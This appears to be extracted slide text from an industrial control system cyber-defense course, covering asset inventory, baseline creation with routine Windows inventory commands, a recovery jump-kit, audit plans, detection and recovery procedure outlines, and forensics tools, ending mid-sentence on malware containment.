analysis should be performed in consultation with the ISSM and/or your chain of 
command. The risk analysis should consider the likelihood of re-infection of newly 
recovered devices when reconnecting to devices in the network. 



Lab 1
Using the QUICX, SCAP, Belarc, CSET, 
GrassMarlin, Glasswire, WhiteScope and 
Hash tools To Create Enclave, Network 
Architecture/Topology, and Component 
inventory



ICS Target Architecture

Internet Protocols
• IPv4 and IPv6
• Transmission Control Protocol (TCP)
• User Datagram Protocol (UDP)
• Hypertext Transfer Protocol (HTTP) - Port 80
• Hypertext Transfer Protocol Secure (HTTPS) - Port 443

Open Control Systems Protocols
• Modbus: Master/Slave - Port 502
• BACnet: Master/Slave - Port 47808
• LonWorks/LonTalk: Peer to Peer - Port 1628/29
• DNP3: Master/Slave - Port 20000
• IEEE 802.x - Peer to Peer
• Zigbee - Peer to Peer
• Bluetooth – Master/Slave

Proprietary Control Systems 
Protocols
• Tridium NiagraAX/Fox
• Johnson Metasys N2
• OSISoft Pi System
• Many others…



Host Based Security 
Systems Scanning 
(Active)

Windows, Linux
HTTP, TCP, UDP

Intrusion Detection 
Systems (Passive)
PLC, RTU, Sensor
Modbus, LonTalk, 
BACnet, DNP3

Client Side Attacks

Server Side Attacks

Network Attacks

Hardware Attacks

McAfee
Nessus
Retina
Forcepoint

Nessus Passive Vulnerability Scanner
Sophia
GrassMarlin
Others?

Continuous Monitoring and Attack Surfaces



Belarc Advisor

http://www.belarc.com/



Webroot

https://www.webroot.com/us/en/home/sem/brand?rc=5340&sc=701F0000
000etVr&utm_source=bing&utm_medium=cpc&utm_campaign=btc-bing-
branded&msclkid=8309d7a4d1f01aa92be98a688b110e22



Glasswire Firewall



Glasswire Usage

Apps, Hosts and Traffic Type



Glasswire Alerts

DNS, Executable, Version



Software / Firmware Inventory Hash



WhiteScope Control Systems Homepage

https://www.whitescope.io/smartbuildingsecurity/



WhiteScope Control Systems Configuration Analysis



WhiteScope Whitelist Products

https://validate.whitescope.io/



WhiteScope Whitelist Firmware

https://validate.whitescope.io/static/firmware.html



Control System Software / Firmware Inventory

Excel Inventory Hash: AA74ACFC4C1E1C94A3EE5C4C967B153C



Control System Software / Firmware Inventory

Excel Inventory Hash: AA74ACFC4C1E1C94A3EE5C4C967B153C



Enclave Summary

1. Create hardware and component/device inventory of all Control Systems 
assets
1. Run SCAP - configure to STIGS
2. Use HBSS/ACAS, Belarc, Webroot – Obtain detailed Server, 

Workstation, Firewall, Switches, LT Level 4 inventory
3. CSET – create System Security Plan, Hardware and 

Component/Device inventory
4. GrassMarlin - Component/Device Hardware and Software / Firmware 

inventory
5. Glasswire – Network, Apps, Executables
6. Run WhiteScope and create Whitelist of Control Systems firmware

2. Hash all software and firmware
3. Hash the inventory files



Unit 3
ENCLOSURE E and APPENDIX A: Create 
a Fully-Mission Capable (FMC) Baseline



ENCLOSURE E: FMC Baseline Procedures



E.2. FMC Baseline Overview

E.2. FMC Baseline Overview

a. Before the ACI TTP can be executed, operators should have several system
characteristics documented. This documentation forms the system’s current FMC
baseline. Documenting the FMC baseline does not imply the system may not already
have an adversary present. In fact, many systems might have an adversary present. If
an adversary is present, and that adversary is lying in wait, if the adversary moves
laterally or attempts to communicate or otherwise initiate an exploit (and eventually 
the adversary will), the ACI TTP is designed to Detect that type of movement by 
comparing system characteristics to its baseline.

b. This section provides specific details for developing the FMC baseline of an ICS. The
FMC Baseline establishes normal ICS behavior. During Routine Monitoring and the
Detection Phase of the ACI TTP, normal behaviors are compared to observed
behaviors. If observed behaviors deviate from normal behaviors, these are either by
design (approved and intentional) or anomalous (unapproved, unintentional, not
communicated, or nefarious).



E.3. FMC Baseline Procedures

The procedures for establishing an FMC Baseline involve the following:

(1 ) Produce ICS Topology Diagram

(2) Document network traffic entering and exiting the ICS in Enclave Entry Point Chart
on page E-4

(3) Document server/workstation user accounts; normal tasks and processes;
connecting devices with ports, protocols, and services

(4) Document normal network traffic

Tools: Belarc, Glasswire, GrassMarlin, CSET

E.3. FMC Baseline Procedures



E.4. FMC Baseline Instructions

The ICS Topology Diagram describes which devices are located at which locations 
and how they connect. Generating an ICS Topology Diagram is accomplished using 
automated tools specifically designed for ICS in conjunction with manual “walk 
through” or simply using a manual “walk through” and inventory information or 
schematics if automated tools are not available.

a. Capture Assets

If you are using a network scanner, such as NMap (using SCADA script) or Nessus 
(with SCADA Plugin) or another tool that can provide an enumeration of live hosts 
on SCADA, scan your network to identify live assets.

(1) Most scanning tools do not capture the location of devices that are not active. 
These devices are located when validating the active device list.

(2) If a scanning tool is not available, use existing ICS documentation (inventory lists
and schematics) to capture a list of assets deployed in the ICS.

E.4. FMC Baseline Instructions



b. Validate Active Hosts

(1) Validate active hosts and locate inactive assets by walking through the ICS
installation, documenting the assets located and how they are connected.

a. Create an ICS Topology Diagram, which includes the assets you located, the
connections, IP addresses, and location of the asset using the tools made
available by your command. Figure E-1 shows an example of an ICS Topology
Diagram.

b. Store the ICS Topology Diagram in the binder entitled FMC Baseline Documents.

c. NOTE: For your site, ensure your diagram includes IP addresses, make and
model of device, and operating system

E.4. FMC Baseline Instructions (cont)



E.5. FMC Baseline Creation: ICS Enclave Entry Points

What you will need:

1. ICS Topology.
2. FMC Baseline Documents binder
3. Vendor documentation or Help web pages for devices being listed in the table.

a. From the next page, extract Table E-1: ICS Enclave Entry Points (make as many copies
as needed). Insert this table (and copies) into FMC Baseline Documents binder.

b. Use the ICS topology to identify all devices that provide entry to the ICS enclave 
from external networks. This can be a router or firewall connecting the command’s 
enterprise, virtual private network (VPN) connections (possibly connecting to an 
engineering workstation), wireless connections, and any asset vendors use to connect 
from corporate locations to the ICS.

Almost every Control Systems has vendor support and the SLA requires the vendor to 
have access to the Control Systems, vast majority use http
• Allow remote access only during specified maintenance windows; RDP, VPN or https

E.5. FMC Baseline Creation: Enclave



c. Go to the identified devices, and extract the information required by the table using 
the instructions for that device.

d. Enter the information into the table in the appropriate columns. See example table E-
2 that follows table E-1 .

e. After completing the table, store it in the FMC Baseline Documents binder.

E.5. FMC Baseline Creation: Enclave (Cont)



E.5. FMC Baseline Creation: Enclave (Cont)



E.6. FMC Baseline Creation: Servers/Workstations

E.6. FMC Baseline Creation: Servers/Workstations

What you will need:

1. Formatted Write Once–Read Many media (either CD-r or DVD-r).
2. Position Zero publication from the Information Assurance Directorate of the
National Security Agency.

a. Create the FMC Baseline for servers and workstations (to include HMIs, 
Historians, OPCs, and Engineering Workstations) by performing the following 
tasks:



E.6. FMC Baseline Creation: Servers/Workstations

b. Procedures

(1) Preparation

(a) If you are not familiar with the Windows Command Prompt, review page 4-5 in
NSA Publication, Position Zero, the Information Assurance Directorate of the
National Security Agency/Central Security Services. See Appendix D: References.

(b) Use a formatted CD-r or DVD-r (hereafter referred to as “media”) to store the
information you are collecting from servers and workstations. Label the media
with the date the contents were collected, and provide a description of the
contents on the label.



(c) If the asset you are inspecting does not have an abbreviated name, create one
(e.g., HMI-Bld1) and use this to label electronic files that you will store on the
media.

(d) Ensure you have administrator rights for the asset from which you are capturing
data.

(e) Important: Enable Security Logging, specifically “user log-on” and “administrator
log-on” for both the operating system and applications on the asset (procedures
vary for differing systems, refer to vendor documentation).

E.6. FMC Baseline Creation: Servers/Workstations



(2) Data Capture

(a) Capture System Information:

1 . Insert media into the appropriate drive.

2. Ensure the machine recognizes the drive by clicking on My Computer icon.
Locate the media and note drive letter assigned to the drive (e.g., E:\)

3. Open a command prompt.

4. At the command prompt type: c:\> systeminfo > (media drive letter):\(asset
name-SysInfo.txt)

Example: c:\>systeminfo >E:\Control Systems-Bld1 -SysInfo.txt

5. See Position Zero, from the Information Assurance Directorate of the National
Security Agency/Central Security Services for more information about this
command and output.

E.6. FMC Baseline Creation: Servers/Workstations



(b) Capture Task List

1 . Continue using the inserted media, and execute the following command to
capture the machine’s Task List:

c:\> tasklist > (media drive letter):\asset name-Tasklist.txt

Example: c:\>tasklist > E:\HMI-BLD1 -Tasklist.txt

2. See Position Zero, from the Information Assurance Directorate of the National
Security Agency/Central Security Services for more information about this
command and output.

E.6. FMC Baseline Creation: Servers/Workstations



(c) Capture Processes and Dynamic Link Libraries (.dll)

1 . Continue using the inserted media, and execute the following command to
capture the machine’s processes and associated .dll:

c:\ tasklist /m /fo list >(media drive letter):\asset name-Proc-dll.txt

Example: c:\ >tasklist /m /fo list > E:\Control Systems-BLD1 -Proc-dll.txt

2. See Position Zero, from the Information Assurance Directorate of the National
Security Agency/Central Security Services for more information about this
command and output.

E.6. FMC Baseline Creation: Servers/Workstations



(d) Capture Services

1 . Continue using the inserted media, and execute the following command to
capture the machine’s running services:

c:\ > tasklist /svc >(media drive letter):\asset name-Svc.txt

Example: c:\>tasklist /svc >E:\Control Systems-BLD1 -Svc.txt

2. See Position Zero, from the Information Assurance Directorate of the National
Security Agency/Central Security Services for more information about this
command and output.

E.6. FMC Baseline Creation: Servers/Workstations



(e) Capture Connecting Systems (Network Status)

1 . Continue using the inserted media, and execute the following command to
capture the machine’s network status:

c:\> netstat –ano >(media drive letter):\asset name-NetStat.txt

Example: c:\>netstat –ano > E:\HMI-BLD1 -NetStat.txt

2. See Position Zero, from the Information Assurance Directorate of the National
Security Agency/Central Security Services for more information about this
command and output.

E.6. FMC Baseline Creation: Servers/Workstations



(f) Capture User Accounts

1. Continue using the inserted media, and execute the following command to
capture the machine’s network status:

c:\> net user >(media drive letter):\asset name-User.txt

Example: c:\>net user > E:\Control Systems-BLD1 -User.txt

2. Review the file created in step 6.a. in Note Pad, and document users on the
Authorized Users Table (table E-3). Duplicate table as needed.

E.6. FMC Baseline Creation: Servers/Workstations



E.6. FMC Baseline Creation: Servers/Workstations



E.7. FMC Baseline Creation: Network Traffic

a. Capturing the normal data flow for the ICS provides a baseline view of the traffic 
that is “normal” for that ICS. The network traffic of an ICS should not be overly “busy” 
and should appear logical and reasonable to the operators (e.g., the OPC server and the 
field controllers should show communications between each other). Once the normal 
network traffic is captured and understood, identifying anomalous traffic is a 
straightforward event.

OT networks communicate in a consistent manner
• Master-Slave (Modbus)
• Peer-to-Peer (BACNet)
• Whitelisting very effective
• Typically will have very few external connections

Tools: GrassMarlin, Sophia, Glasswire

E.7. FMC Baseline Creation: Network



b. Procedures

(1 ) If your ICS has Cisco devices, locate those devices and determine if those devices
are NetFlow enabled (check Cisco web site).

(a) If the Cisco devices are NetFlow enabled, locate the device on the topology and
determine what potential traffic can be viewed from that device (which device
connections flow through the device).

(b) Using your Cisco documentation, determine how to capture network flows, and
view these. To effectively baseline your network, allow NetFlow to capture
24 hours of ICS network traffic. Once the 24-hour network traffic has been
captured, analyze the traffic and identify the individual IP addresses, the ports,
protocols, and services associated with these, and document them in table E-4:
ICS Data Flow.

E.7. FMC Baseline Creation: Network



(2) If your ICS does not have Cisco devices, a variety of free tools can be used to
capture data flows on the network. Work with your command’s network administrator
and the ISSM for assistance in installing these tools and capturing your ICS data
flows.

(a) Select a method to capture network data, and capture the data for 24 hours.
Analyze data, and populate table E-4 IP addresses, ports, protocols, and
services located during the capture.

(b) The following tools are free and can be used to capture network data flows:
NetworkMiner, Microsoft Network Monitor, BandwidthD, PRTG Network Monitor
Freeware, Splunk, ntopng, WireShark.

(3) Extract table E-4 from this document and enter the IP addresses, ports, protocols
and services located in the data flow capture.

E.7. FMC Baseline Creation: Network



E.7. FMC Baseline Creation: Network



Unit 4
ENCLOSURE F: Create a Jump-Kit



F.1. Jump-Kit Introduction

a. Description. A Recovery Jump-Kit contains the tools the ICS team and IT team will 
need to restore a system to its last FMC state during Mitigation and Recovery. 
Knowing what the Recovery point should be is the key to ensuring all known 
remnants of an attack have been removed from all components of the ICS. This 
means all hardware and software are configured in accordance with operational 
requirements, and checksums and hashes are in conformance with vendor 
specifications.

b. Key Components

(1) Routine Monitoring
(2) Inspection
(3) Identification of adversarial presence
(4) Documentation
(5) Notifications

c. Prerequisites. FMC baseline

F.1. Jump-Kit Introduction



F.2. Jump-Kit Contents

a. Overview

(1 ) The Jump-Kit is a critical tool for the Recovery phase. In addition to containing 
the operating software for all devices, it also contains the software hashes of the 
devices on the network and the firmware and software updates for all system 
devices.

(2) During Recovery, the Jump-Kit will be utilized to reimage the firmware/software
operating on the affected device. Care shall be used when the Jump-Kit machine is
used for the reinstallation/reimaging potentially infected devices. The malware
residing on the device, which is being reimaged, could manifest itself onto the Jump-
Kit machine, which could then re-infect other system devices when reconnected.

F.2. Jump-Kit Contents



(3) Due to this potential back door access for malware, ensure that the Jump-Kit
machine is connected only to network devices that are completely isolated from the
network. Additionally, the Jump-Kit should be write-protected and/or operating in a
virtual environment. Virus scans are performed after connection to each device.

(4) The ICS Jump-Kit and the IT Jump-Kit can be combined or be separate depending
on the environment and system architecture. In general, a Recovery Jump-Kit should
include the following:

Jump-Kit Contents: Documentation

• Incident Notifications List: document contact information for command’s 
Information Assurance Manager

• Document stakeholders who could be affected by a Cyber attack on ICS
• Establish notification procedures with chain of command

F.2. Jump-Kit Contents



Jump-Kit Contents: Tools

• Universal serial bus (USB) drives, bootable USB (or LiveCD) with up-to-date 
antimalware, and other software tools that can read and/or write to file system
(Example: Bart’s PE disk)

• Laptop with anti-malware utilities and Internet access (for downloads)

• Computer and network tool kit to add/remove components, hard drives,
connectors, wire cables, etc.

• Hard disk duplicators with write-block capabilities to capture hard drive images

F.2. Jump-Kit Contents: Tools



Jump-Kit Contents: Configuration Files

• Firewall access control lists
• Firewall hard disk image
• IDS rules
• IDS image

o Back up of firewall, router, and switch IOS
• Backup of PLC configurations and firmware
• Backup RTU software, database, and configurations
• Back up of all other computer assets to include HMI, Historian, and Database
• Network map of all expected connections to the ICS

F.2. Jump-Kit Contents: Config Files



F.3. Jump-Kit Maintenance

The Jump-Kits must be maintained and be a part of configuration management. 
When configuration files or new versions of operating systems or applications are 
updated, the Jump-Kits need to be updated as well.

F.4. Jump-Kit Rescue CD

The Rescue CD is a bootable CD with tools, rootkit detection, master boot record 
check, and other capabilities

F.3. Jump-Kit Maintenance F.4. Rescue CD



Lab 2
Security Audit Plan (SAP)

A walk through to secure corporate IT 
systems



Security Audit Plans (SAP)

143



Auditing

NIST - Special Publication 800-12: An Introduction to Computer Security - The 
NIST Handbook
NIST - Sample Generic Policy and High Level Procedures for Audit Trails
NIST - Special Publication 800-26: Security Self-Assessment Guide for 
Information Technology Systems
NIST - Special Publication 800-92: Guide to Computer Security Log Management

The security audit review process will be done monthly by the security team 
which will consist of members listed within the ITCP but will include at a 
minimum: the ISSO, the system administrator and security coordinator(s).

18.2.2.1 System-Level Audit Trails
If a system-level audit capability exists, the audit trail should capture, at a 
minimum, any attempt to log on (successful or unsuccessful), the log-on ID, date 
and time of each log-on attempt, date and time of each log-off, the devices 
used, and the function(s) performed once logged on (e.g., the applications that 
the user tried, successfully or unsuccessfully, to invoke). System-level logging 
also typically includes information that is not specifically security-related, such 
as system operations, cost-accounting charges, and network performance.



Auditing

18.2.2.2 Application-Level Audit Trail
System-level audit trails may not be able to track and log events within
applications, or may not be able to provide the level of detail needed by 
application or data owners, the system administrator, or the computer security 
manager. In general, application-level audit trails monitor and log user 
activities, including data files opened and closed, specific actions, such as 
reading, editing, and deleting records or fields, and printing reports. Some 
applications may be sensitive enough from a data availability, confidentiality, 
and/or integrity perspective that a "before" and "after" picture of each 
modified record (or the data element(s) changed within a record) should be 
captured by the audit trail.



Auditing

18.2.2.3 User Audit Trails
• User audit trails can usually log:
• all commands directly initiated by the user;
• all identification and authentication attempts; and
• files and resources accessed.

It is most useful if options and parameters are also recorded from commands. It 
is much more useful to know that a user tried to delete a log file (e.g., to hide 
unauthorized actions) than to know the user merely issued the delete 
command, possibly for a personal data file.



Auditing

Roles and Responsibility

Information Systems Security Officer (ISSO) shall:
Prepare policy guidelines on online monitoring and audit trail recording, 
protecting, reviewing, and reporting, and report security breaches or anomalies 
to the Director, ISSO.

System Administrator shall:
Periodically monitor user activity, and
Assist the Security Coordinator and ISSO in reconciling audit trail anomalies.

Security Coordinator(s) shall:
Periodically monitor online programmer activity,
Ensure audit trail functions are operating and reports are reviewed weekly, and
Immediately inform the ISSO if the audit trail contains anomalies or security 
breaches.



Security Audit Plans (SAP)
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Create Audit/Log Folders in separate system than what is being audited
I store the files in TrueCrypt Volume and also sync to One Drive



Security Audit Plans (SAP)
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Windows Logs – App, System and Security Critical and Errors



Security Audit Plans (SAP)
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Glasswire IDS/IPS



Security Audit Plans (SAP)
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Webroot Patch Compliance Report



Security Audit Plans (SAP)
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MS Azure Active Directory Admin Center – verify SysAdmins, Users, 
Security settings, MFA, AD 



Security Audit Plans (SAP)
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O365 Security & Compliance



Security Audit Plans (SAP)
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SSL/TLS Server and Browser Tests – TLS 1.2 and 1.3 are current protocols to use



Security Audit Plans (SAP)
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Malwarebytes Scan Report



Security Audit Plans (SAP)
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Windows Defender Scan Report



Security Audit Plans (SAP)
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VoIP Phone System



Security Audit Plans (SAP)
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Mobile Devices



Security Audit Plans (SAP)
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Remote Connections – Turn Off Default and Turn On when needed



Security Audit Plans (SAP)
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Firewalls



Security Audit Plans (SAP)
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Firewalls



Security Audit Plans (SAP)
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BitLocker On



Security Audit Plans (SAP)
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Remote Connections – Turn Off Default and Turn On when needed



Security Audit Plans (SAP)
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SCAP STIG Report – want 90 or better



Security Audit Plans (SAP)
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Step 12: Resolve Findings

 Within 5 business days findings to be resolved and reported out with a 
copy to the ISSO, system administrator and security coordinator(s).

 Categorize findings as level 1, 2, 3

 Level 1: High Priority - Immediate Action/High Risk (within 5 business 
days)

 Level 2: Moderate Priority - Businessweek/Moderate Risk (within 30 
business days)

 Level 3: Low Priority - Review for next security audit/Low Risk (when 
practical or feasible)

 Update POAM



Unit 5
Enclosures A, B, and C: Detection, 
Mitigation, Recovery Procedures



ENCLOSURE A: DETECTION PROCEDURES

Notification
A.2.1 Notifications

Server/Workstation Anomalies
A.2. Event Diagnostic Procedures
A.2.2 Server/Workstation: Log File Check: Unusual 
Account Usage/Activity
A.2.3 Server/Workstation: Irregular Process Found
A.2.4 Server/Workstation: Suspicious 
Software/Configurations
A.2.5 Server/Workstation: Irregular Audit Log Entry (Or 
Missing Audit Log)
A.2.6 Server/Workstation: Unusual System Behavior
A.2.7 Server/Workstation: Asset Is Scanning Other 
Network Assets
A.2.8 Server/Workstation: Unexpected Behavior:
HMI, OPC, and Control Server



ENCLOSURE A: DETECTION PROCEDURES

Network Anomalies
A.2.9 Network Anomalies: Loss of Communications
A.2.10 Network Anomalies: Unusually High Network Traffic
A.2.11 Network Anomalies: At Network Entry Points - Network Flow – Unusual
Traffic
A.2.1 2 Network Anomalies: IDS Exhibiting Unusual Behavior
A.2.1 3 Network Anomalies: Firewall Log Indicates Anomalous Event Occurred
A.2.1 4 Network Anomalies: Firewall Exhibiting Unusual Behavior
A.2.1 5 Network Anomalies: Abnormal Peripheral Device Communications
A.2.1 6 Network Anomalies: IP Address Originating From Two Or More MAC
Addresses



ENCLOSURE A: DETECTION PROCEDURES

Field Device Anomalies
A.2.17 Field Device: Abnormal Decrease in Control Process Traffic or Loss of
Communications
A.2.18 Field Device: Unusual Field Device Activity Observed / Reported
A.2.1 9 Field Device: Unexpected Changes to Ladder Logic, Code Configurations,
Firmware, and Set Points
A.2.20 Field Device: HMI, OPC, or Control Server Sending False Information
A.2.21 Field Device: Anomalous Safety Systems Modifications



ENCLOSURE A: DETECTION PROCEDURES

IDS Alerts
A.2.22 IDS Alert: Unexpected Patch Update (Not Announced by Vendors)
A.2.23 IDS Alert: Asset Communicating With an Undocumented, Unauthorized, or
Unknown IP Address
A.2.24 IDS Alert: Inbound ICS Protocol Traffic From Unknown Or External IP
Address
A.2.25 IDS Alert: Inbound or Outbound HTTP or HTTPS to or From Unknown or
External IP Address
A.2.26 IDS Alert: Unexpected Connection to External or Unknown IPs
A.2.27 IDS Alert: Unusual Lateral Connections (Connections in the Same Network
Segment) Between ICS Assets
A.2.28 IDS Alert: All Other Alerts
A.2.29 Action Step



ENCLOSURE A: DETECTION PROCEDURES

Integrity Checks
A.3.1 Integrity Checks Table
A.3.2.1 Server/Workstation Process Check
A.3.2.2 Server/Workstation Log Review
A.3.2.3 Unauthorized User Account Activity
A.3.2.4 Server/Workstation Communications Check
A.3.2.5 Server/Workstation Unresponsive Check
A.3.2.6 Server/Workstation Registry Check (MS Windows Only)
A.3.2.7 Switch/Router Integrity Check
A.3.2.8 Validate Data Flow (Network Traffic)
A.3.2.9 Controller Integrity Check
A.3.2.10 Firewall Integrity Check
A.3.2.11 Firewall Log Review
A.3.2.12 Other Network Devices Integrity Check
A.3.2.13 Server/Workstation Rootkit Check
A.3.2.14 IDS Integrity Check
A.3.2.15 IDS Alerts – Inbound ICS Protocol
A.3.2.16 Peripheral Integrity Check



DETECTION PROCEDURES SERVER EXAMPLE 1



DETECTION PROCEDURES SERVER EXAMPLE 1



DETECTION PROCEDURES SERVER EXAMPLE 1



DETECTION PROCEDURES SERVER EXAMPLE 1



DETECTION PROCEDURES SERVER EXAMPLE 1

MS Process Explorer



DETECTION PROCEDURES SERVER EXAMPLE 1

Windows Administrative Tools Computer Management



DETECTION PROCEDURES SERVER EXAMPLE 1

Windows Administrative Tools Computer Management Windows Logs



DETECTION PROCEDURES SERVER EXAMPLE 1

Windows Administrative Tools Computer Management Data Management



DETECTION PROCEDURES SERVER EXAMPLE



DETECTION PROCEDURES SERVER EXAMPLE 2



DETECTION PROCEDURES SERVER EXAMPLE 2

If possible, capture Forensics image BEFORE running AV; AV changes the logs



DETECTION PROCEDURES FIREWALL EXAMPLE 3



DETECTION PROCEDURES FIREWALL EXAMPLE 3



DETECTION PROCEDURES FIREWALL EXAMPLE 3



Cisco Maraki Firewall Dashboard Login

Firewalls are the first line of defense – MUST replace default SysAdmin accounts



Cisco Maraki Firewall Security Center

Enable IDS, Malware Detection



Cisco Maraki Firewall Change Login Attempts

Check Login Attempts – Compare IP Address/Location to Known Good
If  unusual IP, check list of C&C, Chinese, Russian, etc., look for Proxies like TOR 127.



Cisco Maraki Firewall Change Log

Check Change Logs – Compare Time Stamps with Authorized Users Contracted Access Time



Cisco Maraki Firewall Logs

Check Whitelist, Blacklist, Security Alerts, IDS, Malware



DETECTION PROCEDURES SERVER EXAMPLE 4



DETECTION PROCEDURES SERVER EXAMPLE 4



ENCLOSURE B: MITIGATION PROCEDURES

B.1 Mitigation Segmentation
B.2 IT/Network Assets
B.3 ICS Control Device Mitigation



ENCLOSURE B: MITIGATION SEGMENTATION

B.1 Mitigation Segmentation
B.2 IT/Network Assets
B.3 ICS Control Device Mitigation



ENCLOSURE C: RECOVERY PROCEDURES

C.1 Recover – Servers/Workstations
C.2 Recover – Routers/Switches/Modems/Printers
C.3 Recover – RTU, MTU, and PLC
C.4 Recover – Intelligent Electronic Devices (IEDs)
C.5 Recover – Human-Machine Interface (HMI)
C.6 Recover – Firewalls
C.7 Recover – Media Converters (Serial/Fiber 
Converter)



RECOVERY PROCEDURES SERVER EXAMPLE 1



RECOVERY PROCEDURES SERVER EXAMPLE 1



RECOVERY PROCEDURES SERVER EXAMPLE 2



RECOVERY PROCEDURES SERVER EXAMPLE 2



RECOVERY PROCEDURES SERVER EXAMPLE 2



C:/Program Files (x86)

RECOVERY PROCEDURES SERVER EXAMPLE 2



All Apps

RECOVERY PROCEDURES SERVER EXAMPLE 2



Reinstalled HMI Software

RECOVERY PROCEDURES SERVER EXAMPLE 2



ENCLOSURE D: MONITORING PROCEDURES

D.1 Routine Monitoring Introduction
D.2 Routine Monitoring Overview
D.3 Routine Monitoring: Security Events and 
IDS Alert Check
D.4 Routine Monitoring: Security Events and 
Firewall Log Check
D.5 Routine Monitoring: Computer Assets
D.6 Routine Monitoring: Network Data Flow
D.7 Routine Monitoring: Synchronicity Check



ENCLOSURE D: MONITORING PROCEDURES



ENCLOSURE D: MONITORING PROCEDURES



ENCLOSURE D: MONITORING PROCEDURES



Unit 7
Enclosure G: Data Collection For 
Forensics, Using MalwareBytes, MS 
EMET and Sysinternals, and 
OSForensics tools



The legacy nature and somewhat diverse or 
disparate component aspects of
control systems environments can often 
prohibit the smooth translation of
modern forensics analysis into the control 
systems domain. Compounded by a
wide variety of proprietary technologies and 
protocols, as well as critical system
technologies with no capability to store 
significant amounts of event information,
the task of creating a ubiquitous and unified 
strategy for technical cyber forensics
on a control systems device or computing 
resource is far from trivial.

DHS Cyber Forensics Plans



DHS Control Systems Forensics



The basic framework for any investigation, as it pertains to the identification 
and collection of digital evidence (whether it is in the control systems 
environment or not) will have several core components or elements that must 
be adhered to by any investigator. To ensure the investigator has a concise and
effective framework for executing a forensics program in a control systems 
environment, the following traditional forensics elements will be examined and 
the uniqueness of a control systems environment and the impacts on these 
elements will be discussed. These elements are:

• Reference clock system
• Activity logs and transaction logs
• Other sources of data
• General system failures
• Real time forensics
• Device integrity monitoring
• Enhanced all-source logging and auditing

DHS Control Systems Forensics Framework



DHS Control Systems Forensics Artifacts



DHS Control Systems Response Activity



ENCLOSURE G: DATA COLLECTION FOR FORENSICS
G.1. Data Collection for Forensics Introduction
a. Description. Data collection for forensics involves the acquisition of volatile and 
nonvolatile data from a host, a network device, and ICS field controllers. Memory 
acquisition involves copying the contents for volatile memory to transportable, non-
volatile storage. Data acquisition is copying non-volatile data stored on any form of 
media to transportable, non-volatile storage. A digital investigator seeks to preserve the 
state of the digital environment in a manner that allows the investigator to reach 
reliable inferences through analysis. (Ligh, 2014)

b. Key Components

(1) Volatile memory
(2) Non-volatile data
(3) Collection
(4) Documentation
(5) Notifications

c. Prerequisites
(1) Administrative tools for acquisition
(2) Storage devices to capture and transport evidence

ENCLOSURE G: FORENSICS



G.2. Documentation of Data Collection

a. It is important to document environmental observations of what the device is doing, 
its symptoms and anomalies, and if the device is currently running or shut down. It is 
also important to note who has had access to the device and what the person did—if 
any actions were taken. Also include documents for each step that is taken while 
acquiring data for forensics. This includes the following:

(1) Information on the specific device (i.e., make, model, identification number, location,
etc.)
(2) The tools or utilities used to capture the data
(3) The commands or steps that were taken
(4) The device used to store the data
(5) If the data was collected remotely or locally
(6) The person that gathered the data
(7) Date and time in which the data was collected

G.2. Documentation of Data Collection



G.3. Data Collection Tools

• Mandiant Redline
• Mandiant Memoryze
• Microsoft SysInternals
• Microsoft Windows system utilities
• Linux system utilities
• Glasswire
• OSForensics
• RegRipper
• Belarc

G.3. Data Collection Tools



G.4. Capturing Memory Data

a. Volatile Memory. Volatile memory is computer memory that requires power to 
maintain the stored information; it retains its contents while powered on, but when 
the power is interrupted the stored data is immediately lost.

b. Non-Volatile Memory. Non-volatile computer memory is stored data that can be 
retrieved even after having the power cycled. Examples of non-volatile memory 
include read-only memory, flash memory, most types of magnetic computer storage 
devices and hard disks, floppy disks, magnetic tape, and optical discs.

G.4. Capturing Memory Data



G.5. Windows Registry Data

a. The registry on a Microsoft Windows operating system is a database of 
configuration data used by the operating system and applications.

b. The Registry Consists of Five Root Hives

1. HKEY_CLASSES_ROOT
2. HKEY_CURRENT_USER
3. HKEY_LOCAL_MACHINE
4. HKEY_USERS
5. HKEY_CURRENT_CONFIG

G.5. Windows Registry Data



c. Cells of the Registry

1. Key Cell
2. Value Cell
3. Subkey List Cell
4. Value List Cell
5. Security Descriptor Cell

d. Windows Registry Tools

1. RegRipper: https://regripper.wordpress.com/
2. RegEdit: Windows Utility
3. Reg: Windows Utility
4. NirSoft Utilities: http://www.nirsoft.net/utils/regscanner.html
5. OSForensics: http://www.osforensics.com/download.html
6. AutoRuns SysInternals: https://technet.microsoft.com/en-us/sysinternals/

G.5. Windows Registry Data



Windows Registry



MS Autoruns



MS Autoruns



MS Process Explorer



MS Process Manager



MalwareBytes



MalwareBytes



OS Forensics Start



OS Forensics Recent Activity



OS Forensics System Information



OS Forensics Deleted File Search



OS Forensics Passwords



OS Forensics Verify/Create Hash



OS Forensics Create Signature



OS Forensics Folder Copy



OS Forensics Memory Viewer



Mandiant Redline Home



Mandiant Redline Comprehensive Data



Mandiant Redline Analyze



Control Systems Restart Sequence

Every building restart sequence will be unique, but in general:
• Restore electrical service
• Restore sanitary sewage and lift pumps service
• Restore potable water service
• Restore chill water service
• Restart BAS (HVAC, Lighting, and other modules)
• Restart ESS (PAS, CCTV, IDS)
• Restart FAS (Alarms and Sprinklers)
• Restart other services

Cybersecurity for Hospitals and Healthcare 
Facilities: A Guide to Detection and 
Prevention



Cyber-Physical Attack Recovery Procedures

https://www.amazon.com/Cyber-Physical-Attack-Recovery-Procedures-Step-
/dp/1484220641/ref=sr_1_15?ie=UTF8&qid=1471469696&sr=8-
15&keywords=cyber-physical+systems

• Prevent Hackers From Destroying a Boiler
• Prevent Hackers From Destroying a Pressure Vessel
• Prevent Hackers From Destroying Chillers
• Prevent Hackers From Destroying a gas Fuel Train
• Prevent Hackers From Destroying a Cooling Tower
• Prevent Hackers From Destroying a Backup Generator
• Prevent Hackers From Destroying Switchgear
• Eight Steps to Defending Building Control Systems



Cyber-Physical Attack Recovery Procedures

https://www.amazon.com/Cybersecurity-Hospitals-Healthcare-Facilities-
Prevention/dp/1484221540/ref=sr_1_1?ie=UTF8&qid=1474322294&sr=8-
1&keywords=cybersecurity+for+hospitals

• Hacker Reconnaissance of a Hospital Network
• Active Medical Device Cyber-Attacks
• Medical Facility Cyber-Physical Attacks
• Hospital Insider Threats
• Detection of Cyber-Attacks
• Preventing Cyber-Attacks
• Cyber-Attack Response and Recovery Planning



Unit 8
Enclosure I: Cyber Severity Levels, 
Incident Reporting



Incident Containment

There are two main purposes in the containment of malware. The first purpose is to 
stop the spread to other parts of the system. The second purpose is to prevent 
continued damage to the ICS. Even if the malware is isolated from spreading to other 
components or networks in the ICS, or across facilities, it may continue to cause 
damage in the isolated segment. 

The containment of malware does not follow a standard approach for each 
organization. It will vary based on the type of malware, the importance of the 
